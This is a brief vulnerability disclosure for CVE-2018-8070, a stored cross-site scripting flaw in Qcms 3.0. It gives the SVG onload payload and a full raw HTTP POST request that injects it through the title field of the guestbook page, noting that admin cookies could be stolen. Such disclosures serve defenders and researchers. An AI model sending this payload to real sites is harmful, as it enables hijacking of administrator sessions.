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Qcms version 3.0 has xss via the title parameter to the /guest/index.html URI

CVE-2018-8070

set xss payload <svg/onload=alert(0)> to the title parameter in /guest/index.html,when admin user confirm this feedback in admin page there is alert box,attacker can get admin's cookie.

POST /guest/index.html HTTP/1.1
Host: localhost
Content-Length: 92
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Referer: http://localhost/guest/index.html
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESS49960de5880e8c687434170f6476605b=KyZyx79ethBmvgssXcM6DUdjHnnYxkfiw-86SorC64c; ly_main_nav_limit=15; lang=zh-cn; theme=default; bdshare_firstime=1519799317252; 
Connection: close

title=%3Csvg%2Fonload%3Dalert%28%27qcms%27%29%3E&name=test&email=test%40test.t&content=test